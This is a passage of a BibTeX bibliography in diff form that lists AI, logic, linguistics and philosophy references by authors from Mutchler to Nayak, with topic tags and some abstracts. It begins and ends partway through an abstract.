+ Intelligent Real-time Control Architecture (CIRCA) implements + this blending by executing complex AI methods and guaranteed + real-time control plans on separate subsystems. We describe the + formal model of agent/environment interactions that CIRCA uses + to build control plans, and we show how those control plans are + guaranteed to meet domain requirements. CIRCA's world model + provides the information required to make real-time performance + guarantees, but avoids unnecessary complexity. } , + topic = {planning;procedural-control;} + } + +@article{ mutchler:1993a, + author = {David Mutchler}, + title = {The Multi-Player Version of Minimax Displays Game-Tree + Pathology}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {64}, + number = {2}, + pages = {323--336}, + acontentnote = {Abstract: + It is widely believed that by searching deeper in the game tree, + the decision-maker is more likely to make a better decision. + Dana Nau and others have discovered pathology theorems that show + the opposite: searching deeper in the game tree causes the + quality of the ultimate decision to become worse, not better. + The models for these theorems assume that the search procedure + is minimax and the games are two-player zero-sum. This report + extends Nau's pathology theorem to multi-player game trees + searched with maxn, the multi-player version of minimax. Thus + two-player zero-sum game trees and multi-player game trees are + shown to have an important feature in common.}, + topic = {search;AI-algorithms-analysis;game-trees;game-tree-pathology;} + } + +@article{ mycielski:1989a, + author = {Jan Mycielski}, + title = {The Meaning of Pure Mathematics}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {3}, + pages = {315--320}, + topic = {philosophy-of-mathematics;} + } + +@article{ mycielski:1992a, + author = {Jan Mycielski}, + title = {Quantifier-Free Versions of First-Order Logic and + Their Psychological Significance}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {2}, + pages = {125--147}, + topic = {algebraic-logic;foundations-of-logic; + nl-semantics-and-cognition;} + } + +@article{ mycroft-okeefe:1984a, + author = {Alan Mycroft and Richard A. O'Keefe}, + title = {A Polymorphic Type System for {PROLOG}}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {23}, + number = {3}, + pages = {295--307}, + topic = {polymorphism;Prolog;} + } + +@incollection{ myers-etal:1985b, + author = {Terry Myers and Keith Brown and Brendan McGonigle}, + title = {Introduction: Representation and + Inference in Reasoning and Discourse}, + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {1--11}, + address = {New York}, + topic = {discourse;pragmatics;coherence;anaphora;pragmatic-reasoning;} + } + +@article{ myers_d:2002a, + author = {Dale Myers}, + title = {Review of {\it Automated Reasoning with {O}tter}, by + {J}ohn {A}rnold {K}alman}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {3}, + pages = {428--429}, + xref = {Review of: kalman:2001a.}, + topic = {theorem-proving;computer-assisted-mathematics;} + } + +@incollection{ myers_kl:1991a, + author = {Karen L. Myers}, + title = {Universal Attachment: An Integration Method for Logic Hybrids}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {405--416}, + address = {San Mateo, California}, + topic = {kr;combining-logics;kr-course;} + } + +@incollection{ myers_kl-konolige:1992a, + author = {Karen L. Myers and Kurt Konolige}, + title = {Reasoning wirh Analogical Representations}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {189--200}, + address = {San Mateo, California}, + topic = {kr;analogy;} + } + +@article{ myers_kl:1994a, + author = {Karen L. Myers}, + title = {Hybrid Reasoning Using Universal Attachment}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {67}, + number = {2}, + pages = {329--375}, + acontentnote = {Abstract: + Hybrid representation frameworks provide a powerful basis for + constructing intelligent systems. Universal attachment is a + domain-independent mechanism for integrating diverse + representation and reasoning methods into hybrid frameworks that + contain a subsystem based on deduction over logical formulas. + Although based on the same principles as previous attachment + methods, universal attachment provides a much broader range of + connections between general-purpose deduction and specialized + representation and reasoning techniques. This paper defines a + formal inference rule of universal attachment and discusses the + properties of soundness, completeness and correctness for this + rule. The relationship between universal attachment and other + integration techniques is explored. Finally, policies based on + experimentation with an implemented universal attachment system + are presented that lend guidance in exploiting the expanded + representational and inferential capabilities that hybrid + systems provide. } , + topic = {hybrid-kr-architectures;knowledge-integration;} + } + +@incollection{ myers_kl:1996a, + author = {Karen L. Myers}, + title = {Strategic Advice for Hierarchical Planners}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {112--123}, + address = {San Francisco, California}, + topic = {planning;abstraction;} + } + +@article{ myers_kl:1999a, + author = {Karen L. Myers}, + title = {{\sc Cpef}: A Continuous Planning and Execution Framework}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {4}, + pages = {63--69}, + topic = {execution-monitoring;plan-execution;plan-maintenance;} + } + +@book{ myers_t-etal:1985a, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + title = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + address = {New York}, + ISBN = {012512321-3 (paperback)}, + contentnote = {TC: + 1. Terry Myers and Keith Brown and Brendan + McGonigle, "Introduction: Representation and + Inference in Reasoning and Discourse", pp. 1--11 + 2. Philip N. Johnson-Laird, "Reasoning without + Logic", pp. 13--49 + 3. Terence Moore, "Reasoning and Inference in Logic and + Language", pp. 51--66 + 4. Jens Allwood, "Logic and Spoken + Interaction", pp. 67--91 + 5. G. Hagert and Y. Waern, "On Implicit Assumptions + in Reasoning", pp. 93--115 + 6. J.A. Stedmon, "More Than 'All'? Children's + Problems with Plural Judgements", pp. 117--139 + 7. B. McGonigle and M. Chalmers, "Representations and + Strategies During Inference", pp. 141--164 + 8. Keith Stenning, "On Making Models: A Study of + Constructive Memory", pp. 165--185 + 9. Pieter A.M. Seuren, "Anaphora Resolution", pp. 187--207 + 10. Ruth Kempson, "Definite {NP}s and Context-Dependence: + A Unified Theory of Anaphora", pp. 209--239 + 11. Deirdre Wilson and Dan Sperber, "Inference and Implicature in + Utterance Interpretation ", pp. 241--263 + 12. Yorick Wilks, "Relevance and Beliefs", pp. 265--289 + } , + topic = {pragmatics;coherence;pragmatic-reasoning;} + } + +@inproceedings{ myerson:1988a, + author = {Roger B. Myerson}, + title = {Incentive Constraints and Optimal Communications Systems}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {179--193}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {communication-protocols;game-theory;} + } + +@article{ myhill:1960a, + author = {John Myhill}, + title = {Remarks on the Notion of Proof}, + journal = {The Journal of Philosophy}, + year = {1960}, + volume = {57}, + number = {14}, + pages = {461--471}, + topic = {philosophy-of-mathematics;goedels-first-theorem;} + } + +@incollection{ myhill:1974a, + author = {John Myhill}, + title = {The Undefinability of the Set of Natural Numbers in the + Ramified {P}rincipia}, + booktitle = {Bertrand {R}ussell's Philosophy}, + publisher = {Barnes and Noble}, + year = {1974}, + editor = {George Nakhnikian}, + pages = {19--27}, + address = {New York}, + topic = {ramified-type-theory;} + } + +@article{ mylonas-renear:1999a, + author = {Elli Mylonas and Allen Renear}, + title = {The Text Encoding Initiative at 10: Not Just an + Interchange Format Anymore, But a New Research Community}, + journal = {Computers and the Humanities}, + year = {1999}, + volume = {33}, + number = {1--2}, + pages = {1--9}, + topic = {Text-Encoding-Initiative;corpus-linguistics;} + } + +@incollection{ mylopoulos-levesque:1984a, + author = {John Mylopoulos and Hector J. Levesque}, + title = {An Overview of Knowledge Representation}, + booktitle = {On Conceptual Modelling: Perspectives from Artificial + Intelligence, Databases and Programming Languages}, + publisher = {Springer-Verlag}, + year = {1984}, + editor = {Michael L. Brodie and John Mylopoulos and Joachim W. Schmidt}, + pages = {3--17}, + address = {Berlin}, + topic = {kr;kr-course;} + } + +@incollection{ mylopoulos:1992a, + author = {John Mylopoulos}, + title = {The {PSN} Tribe}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {223--241}, + address = {Oxford}, + topic = {kr;semantic-networks;kr-course;} + } + +@incollection{ myro:1986a, + author = {George Myro}, + title = {Identity and Time}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {383--409}, + address = {Oxford}, + topic = {individuation;identity;} + } + +@article{ na-huck:1993a, + author = {YoungHee Na and G.J. Huck}, + title = {On the Status of Certain Island Violations in + {K}orean}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {2}, + pages = {181--229}, + topic = {syntactic-islands;Korean-language;} + } + +@book{ nadel:1989a, + editor = {Lynn Nadel}, + title = {Neural Connections, Mental Computation}, + publisher = {The {MIT} Press}, + year = {1989}, + address = {Cambridge, Massachusetts}, + ISBN = {026214042X}, + topic = {neurocognition;} + } + +@inproceedings{ nado-fikes:1990a, + author = {Robert A. Nado and Richard E. Fikes}, + title = {Semantically Sound Inheritance for a Formally Defined + Frame Language With Defaults}, + booktitle = {Proceedings of the Sixth National Conference on + Artificial Intelligence}, + year = {1987}, + pages = {443--448}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {editor, checkpublisher}, + topic = {nonmonotonic-reasoning;extensions-of-kl1;taxonomic-logics;} + } + +@incollection{ nado-fikes:1992a, + author = {Robert Nado and Richard Fikes}, + title = {Saying More with Frames}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {719--731}, + address = {Oxford}, + topic = {kr;frames;semantic-networks;kr-course;} + } + +@incollection{ naess:1950a2, + author = {Arne Naess}, + title = {Towards a Theory of Interpretation and Preciseness}, + booktitle = {Semantics and the Philosophy of Language}, + publisher = {University of Illinois Press}, + year = {1952}, + editor = {Leonard Linsky}, + pages = {248--269}, + address = {Urbana, Illinois}, + xref = {Republication of: naess:1950a1.}, + topic = {vagueness;synonymy;} + } + +@inproceedings{ nagao:1989a, + author = {Katashi Nagao}, + title = {Semantic Interpretation Based on the Multi-World Model}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + missinginfo = {pages}, + topic = {nl-interpretation;} + } + +@inproceedings{ nagao_k:1993a, + author = {Katashi Nagao}, + title = {Abduction and Dynamic Preference in Plan-Based + Dialogue Understanding}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {1186--1192}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {abduction;plan-recognition;discourse;pragmatics;} + } + +@inproceedings{ nagao_k-takeuchi:1994a, + author = {Katashi Nagao and Akikazu Takeuchi}, + title = {Speech Dialogue with Facial Displays: Multimodal + Human-Computer Conversation}, + year = {1994}, + booktitle = {Proceedings of ACL 32}, + pages = {102--109}, + topic = {facial-expression;computational-discourse; + multimodal-communication;} + } + +@incollection{ nagao_m:1994a, + author = {Makoto Nagao}, + title = {Varieties of Heuristics in Sentence Parsing}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {513--523}, + address = {Pisa and Dordrecht}, + topic = {parsing-algorithms;} + } + +@incollection{ nagata:1996a, + author = {Mesaaki Nagata}, + title = {Automatic Extraction of New Words from {J}apanese + Texts Using Generalized Forward-Backward Search}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {48--59}, + address = {Somerset, New Jersey}, + topic = {Japanese-language;corpus-statistics;dictionary-construction;} + } + +@incollection{ nagel_e:1944a, + author = {Ernest Nagel}, + title = {Logic without Ontology}, + booktitle = {Naturalism and the Human Spirit}, + publisher = {Columbia University Press}, + year = {1944}, + editor = {Yervant H. Krikorian}, + pages = {210--241}, + address = {New York}, + topic = {philosophy-of-logic;} + } + +@incollection{ nagel_e:1949a, + author = {Ernest Nagel}, + title = {The Meaning of Reduction in the Natural Sciences}, + booktitle = {Science and Civilization}, + publisher = {University of Wisconsin Press}, + year = {1949}, + editor = {Robert C. Stauffer}, + pages = {99--135}, + address = {Madison, Wisconsin}, + topic = {reduction;} + } + +@article{ nagel_t:1965a, + author = {Thomas Nagel}, + title = {Physicalism}, + journal = {The Philosophical Review}, + year = {1965}, + volume = {74}, + number = {3}, + pages = {339--356}, + topic = {mind-body-problem;} + } + +@article{ nagel_t:1974a, + author = {Thomas Nagel}, + title = {What Is it Like to Be a Bat?}, + journal = {The Philosophical Review}, + year = {1974}, + volume = {83}, + pages = {435--450}, + missinginfo = {number}, + xref = {Reprinted in The Minds {I}}, + topic = {philosophy-of-mind;other-modeling;animal-cognition;} + } + +@incollection{ nagel_t:1978a, + author = {Thomas Nagel}, + title = {Desires, Prudential Motives, and the Present}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {153--152}, + address = {Oxford}, + topic = {desires;} + } + +@incollection{ nakamura:1991a, + author = {Akira Nakamura}, + title = {A Logic of Imprecise Monadic Predicates and its Relation to + the {S5}-Modal Fuzzy Logic}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {254--261}, + address = {Berlin}, + topic = {fuzzy-logic;modal-logic;} + } + +@incollection{ nakano-kato:1998a, + author = {Yukiko I. Nakano and Tsuneaki Kato}, + title = {Cue Phrase Selection in Instruction Dialogue Using Machine + Learning}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {100--106}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;machine-learning; + nl-generation;} + } + +@article{ nakashima-etal:1997a, + author = {Hideyuki Nakashima and Hitoshi Matsubara and Ichiro Osawa}, + title = {Causality as a Key to the Frame Problem}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {1}, + pages = {37--50}, + topic = {frame-problem;causality;krcourse;} + } + +@inproceedings{ nakatani-carroll:2000a, + author = {Christine H. Nakatani and Jennifer Chu-Carroll}, + title = {Using Dialogie Representations for Concept-to-Speech + Generation}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {48--53}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;nl-generation;} + } + +@inproceedings{ nakatani-chucarroll:2000a, + author = {Christine H. Nakatani and Jennifer Chu-Carroll}, + title = {Using Dialogie Representations for Concept-to-Speech + Generation}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {48--53}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;nl-generation;} + } + +@incollection{ nakazoto:2000a, + author = {Shu Nakazoto}, + title = {Japanese Dialogue Corpus of Multi-Level Annotation}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {1--8}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;corpus-linguistics-Japanese-language;} + } + +@unpublished{ nakhamovsky:1988a, + author = {Alexander Nakhamovsky}, + title = {Aspect, Aspectual Class, and the Temporal Structure of + Discourse}, + year = {1988}, + note = {Unpublished manuscript, Department of Computer Science, + Colgate University.}, + topic = {Aktionsarten;tense-aspect;discourse-structure;pragmatics;} + } + +@incollection{ nakisa-plunkett:1998a, + author = {Ramin Charles Nakisa and Kim Plunkett}, + title = {Evolution of a Rapidly Learned Representation for Speech}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {70--79}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;speech-recognition;} + } + +@inproceedings{ napoli_a:1992a, + author = {Amedeo Napoli}, + title = {Representation of Partial Order Relations and Procedures in + Object-Based Representations Systems}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {61--63}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;extensions-of-KL1-taxonomic-logics;} + } + +@article{ napoli_dj:1988a, + author = {Donna Jo Napoli}, + title = {Subjects and External Arguments: Clauses and Non-Clauses}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {3}, + pages = {323--354}, + topic = {government-binding-theory;grammatical-relations;} + } + +@article{ napoli_e:1995a, + author = {Ernesto Napoli}, + title = {Direct Reference}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {3}, + pages = {321--329}, + topic = {reference;} + } + +@incollection{ narayanan_a:1984a, + author = {Ajit Narayanan}, + title = {What is it Like to be a Machine?}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {79--87}, + address = {Chichester}, + topic = {philosophy-of-AI;other-modeling;consciousness;} + } + +@incollection{ narayanan_nh-etal:1995a, + author = {N. Hari Narayanan and Masaki Suwa and Hiroshi Motoda}, + title = {Behavior Hypothesis from Schematic Diagrams}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {501--534}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;cognitive-psychology;visual-reasoning;} + } + +@book{ nardi:1996a, + editor = {Bonnie A. Nardi}, + title = {Context and Consciousness: Activity Theory And + Human-Computer Interaction}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + ISBN = {0262140586 (paper)}, + topic = {HCI;context;} + } + +@techreport{ narens:1972a, + author = {Louis Narens}, + title = {Why Tall Pygmies are Short}, + institution = {School of Social Sciences, University of California + at Irvine}, + number = {W13}, + year = {1972}, + address = {Irvine, California}, + topic = {semantics-of-adjectives;vagueness;} + } + +@article{ narens:1974a, + author = {Louis Narens}, + title = {Minimal Conditions for Additive Conjoint Measurement + and Qualitative Probability}, + journal = {Journal of Mathematical Psychology}, + year = {1974}, + volume = {11}, + pages = {404--430}, + missinginfo = {number}, + topic = {qualitative-probability;measurement-theory;} + } + +@article{ narens:1974b, + author = {Louis Narens}, + title = {Measurement without {A}rchimedian Axioms}, + journal = {Philosophy of Science}, + year = {1974}, + volume = {9}, + number = {2}, + pages = {374--393}, + topic = {qualitative-probability;measurement-theory;} + } + +@article{ narens:1980a, + author = {Louis Narens}, + title = {On Qualitative Axiomatizations for Probability Theory}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {2}, + pages = {143--151}, + contentnote = {Considers axiomatizability of qualitative probability. + The results are negative.}, + topic = {qualitative-probability;measurement-theory;} + } + +@book{ narens:1988a, + author = {Louis Narens}, + title = {Abstract Measurement Theory}, + publisher = {The {MIT} Press}, + year = {1988}, + address = {Cambridge, Massachusetts}, + xref = {Review: kyburg:1988a}, + topic = {measurement-in-behavioral-science;measurement-theory;} + } + +@article{ narveson:1976a, + author = {Jan Narveson}, + title = {Utilitarianism, Group Actions, and Coordination}, + journal = {No\^us}, + volume = {10}, + year = {1976}, + pages = {173--194}, + topic = {utilitarianism;} + } + +@article{ narveson:1977a, + author = {Jan Narveson}, + title = {Compatibilism Defended}, + journal = {Philosophical Studies}, + volume = {32}, + year = {1977}, + pages = {83--87}, + topic = {freedom;volition;} + } + +@inproceedings{ nashukawa-uramoto:1995a, + author = {Tetsuya Nasukawa and Naohiko Uramoto}, + title = {Discourse as a Knowledge Resource for Sentence + Disambiguation}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1360--1365}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {discourse;nl-interpretation;pragmatics;} + } + +@article{ nason:1946a, + author = {John W. Nason}, + title = {Leibniz's Attack on the {C}artesian Doctrine of + Extension}, + journal = {Journal of the History of Ideas}, + year = {1946}, + volume = {7}, + number = {4}, + pages = {447--483}, + topic = {Leibniz;} + } + +@article{ nathan:1984a, + author = {Amos Nathan}, + title = {False Expectations}, + journal = {Philosophy of Science}, + year = {1984}, + volume = {51}, + number = {1}, + pages = {128--136}, + topic = {foundations-of-probability;} + } + +@article{ nau:1982a, + author = {Dana S. Nau}, + title = {The Last Player Theorem}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {18}, + number = {1}, + pages = {53--65}, + acontentnote = {Abstract: + Game trees are an important model of decision-making situations, + both in artificial intelligence and decision analysis, but many + of the properties of game trees are not well understood. One of + these properties is known as biasing: when a minimax search is + done to an odd search depth, all moves tend to look good, and + when it is done to an even search depth, all modes tend to look + bad. + One explanation sometimes proposed for biasing is that whenever + a player makes a move his position is `strengthened', and that + the evaluation function used in the minimax search reflects + this. However, the mathematical results in this paper suggest + that biasing may instead be due to the errors made by the + evaluation function. } , + topic = {search;game-trees;minimaxing;} + } + +@article{ nau:1982b, + author = {Dana S. Nau}, + title = {An Investigation of the Causes of Pathology in Games}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {3}, + pages = {257--278}, + acontentnote = {Abstract: + Game trees are a useful model of many kinds of decision-making + situations, and have been the subject of considerable + investigation by researchers in both artificial intelligence and + decision analysis. + Until recently it was almost universally believed that searching + deeper on a game tree would in general improve the quality of a + decision. However, recent theoretical investigations [8-10] by + this author have demonstrated the existence of an infinite class + of game trees for which searching deeper consistently degrades + the quality of a decision. + This paper extends the previous work in two ways. First, the + existence of pathology is demonstrated in a real game (Pearl's + Game) using a real evaluation function. This pathological + behavior occurs despite the fact that the evaluation function + increases dramatically in accuracy toward the end of the game. + Second, the similarities and differences between this game and a + related nonpathological game are used as grounds for speculation + on why pathology occurs in some games and not in others. } , + topic = {game-tree-pathology;decision-analysis;} + } + +@article{ nau:1983a, + author = {Dana S. Nau}, + title = {Pathology on Game Trees Revisited, and an Alternative to + Minimaxing}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {1--2}, + pages = {221--224}, + acontentnote = {Abstract: + Almost all game tree search procedures used in artificial + intelligence are variants on minimaxing. Until recently, it was + almost universally believed that searching deeper on the game + tree with such procedures would in general yield a better + decision. However, recent investigations have revealed the + existence of many game trees and evaluation functions which are + `pathological' in the sense that searching deeper consistently + degrades the decision. + This paper extends these investigations in two ways. First, it + is shown that whenever the evaluation function satisfies certain + properties, pathology will occur on any game tree of high enough + constant branching factor. This result, together with Monte + Carlo studies on actual games, gives insight into the causes of + pathology. Second, an investigation is made of a possible cure + for pathology: a probabilistic decision procedure which does not + use minimaxing. Under some conditions, this procedure gives + results superior to minimaxing. } , + topic = {search;game-trees;game-tree-pathology;} + } + +@article{ nau-etal:2001a, + author = {Dana Nau and Yue Cao and Amnon Lotem and Hector + Mu\~noz-Avila}, + title = {The {S}hop Planning System}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {91--94}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@incollection{ naumann-pinon:1997a, + author = {Ralf Naumann and Christopher Pi\~non}, + title = {Decomposing the Progressive}, + booktitle = {Proceedings of the Eleventh {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + editor = {Paul Dekker and Martin Stokhof and Yde Venema}, + year = {1997}, + address = {Amsterdam}, + missinginfo = {pages}, + topic = {tense-aspect;progressive;} + } + +@article{ naumann:1998a, + author = {Ralf Naumann}, + title = {A Dynamic Approach to the Present Perfect in {E}nglish}, + journal = {Theoretical Linguistics}, + year = {1998}, + volume = {24}, + number = {2/3}, + pages = {185--217}, + topic = {perfective-aspect;dynamic-semantics;} + } + +@incollection{ navaretta:2000a, + author = {Costanza Navaretta}, + title = {Abstract Anaphora Resolution in {D}anish}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {56--65}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;anaphora-resolution;Danish-language;} + } + +@article{ navarrete-etal:2002a, + author = {I. Navarrete and A. Sattar and R. Wetprasit and R. Martin}, + title = {On Point-Duration Networks for Temporal Reasoning}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {140}, + number = {1--2}, + pages = {39--70}, + topic = {qualitative-reasoning;temporal-reasoning; + graph-based-representations;} + } + +@book{ navarro-khan:1998a, + author = {Ann Navarro and Tabinda Khan}, + title = {Effective Web Site Design: Mastering the Essentials}, + publisher = {Alameda, California}, + year = {1998}, + address = {Sybex, Inc.}, + ISBN = {0-7821-2278-7}, + topic = {internet-technology;html;} + } + +@article{ nayak_a:1994a, + author = {Abhaya C. Nayak}, + title = {Foundational Belief Change}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {5}, + pages = {495--533}, + topic = {belief-revision;} + } + +@incollection{ nayak_a-etal:1996a, + author = {Abhaya C. Nayak and Norman Y. Foo and Maurice Pagnucco + and Abdul Sattar}, + title = {Changing Conditional Beliefs Unconditionally}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {119--135}, + address = {San Francisco}, + topic = {belief-revision;} + } + +@incollection{ nayak_pp:1992a, + author = {P. Pandurang Nayak}, + title = {Order of Magnitude Reasoning Using Logarithms}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {201--210}, + address = {San Mateo, California}, + topic = {approximation;} + } + +@inproceedings{ nayak_pp:1994a, + author = {P. Pandurang Nayak}, + title = {Representing Multiple Theories}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = {Barbara Hayes-Roth and Richard Korf}, + pages = {1154--1160}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {context;modal-logic;} + } + +@article{ nayak_pp:1994b, + author = {P. Pandurang Nayak}, + title = {Causal Approximations}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {70}, + number = {1--2}, + pages = {277--334}, + acontentnote = {Abstract: + Adequate models require the identification of abstractions and + approximations that are well suited to the task at hand. In this + paper we analyze the problem of automatically selecting adequate + models for the task of generating parsimonious causal + explanations. We make three important contributions. First, we + develop a precise formalization of this problem. In this + formalization, models are defined as sets of model fragments, + causal explanations are generated using causal ordering, and + model simplicity is based on the intuition that using more + approximate descriptions of fewer phenomena leads to simpler + models. Second, we use this formalization to show that the + problem is intractable (NP-hard) and identify three sources of + intractability: (a) deciding what phenomena to model; (b) + deciding how to model the chosen phenomena; and (c) satisfying + domain-dependent constraints. Third, we introduce a new class + of approximations called causal approximations that are commonly + found in modeling the physical world. Causal approximations are + based on the idea that more approximate descriptions usually + explain less about a phenomenon than more accurate descriptions. + Hence, when all approximations are causal approximations, the + causal relations entailed by a model decrease monotonically as + models become simpler, leading to an efficient, polynomial-time + algorithm for finding adequate models. + } , + topic = {causality;explanation;model-based-reasoning;abstraction; + polynomial-algorithms;} + } + +@inproceedings{ nayak_pp-levy:1995a, + author = {P. Pandurang Nayak and Alan Levy}, + title = {A Semantic Theory of Abstractions}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {196--203}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {abstractions;} + } + +@article{ nayak_pp-joskowicz:1996a, + author = {P. Pandurang Nayak and Leo Joskowicz}, + title = {Efficient Compositional Modeling for Generating Causal + Explanations}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {2}, + pages = {193--227}, + acontentnote = {Abstract: + Effective problem solving requires building adequate models that + embody the simplifications, abstractions, and approximations + that parsimoniously describe the relevant system phenomena for + the task at hand. Compositional modeling is a framework for + constructing adequate device models by composing model fragments + selected from a model fragment library. While model selection + using compositional modeling has been shown to be intractable, + it is tractable when all model fragment approximations are + causal approximations. + This paper addresses the reasoning and knowledge representation + issues that arise in building practical systems for constructing + adequate device models that provide parsimonious causal + explanations of how a device functions. We make four important + contributions. First, we present a representation of class + level descriptions of model fragments and their relationships. + The representation yields a practical model fragment library + organization that 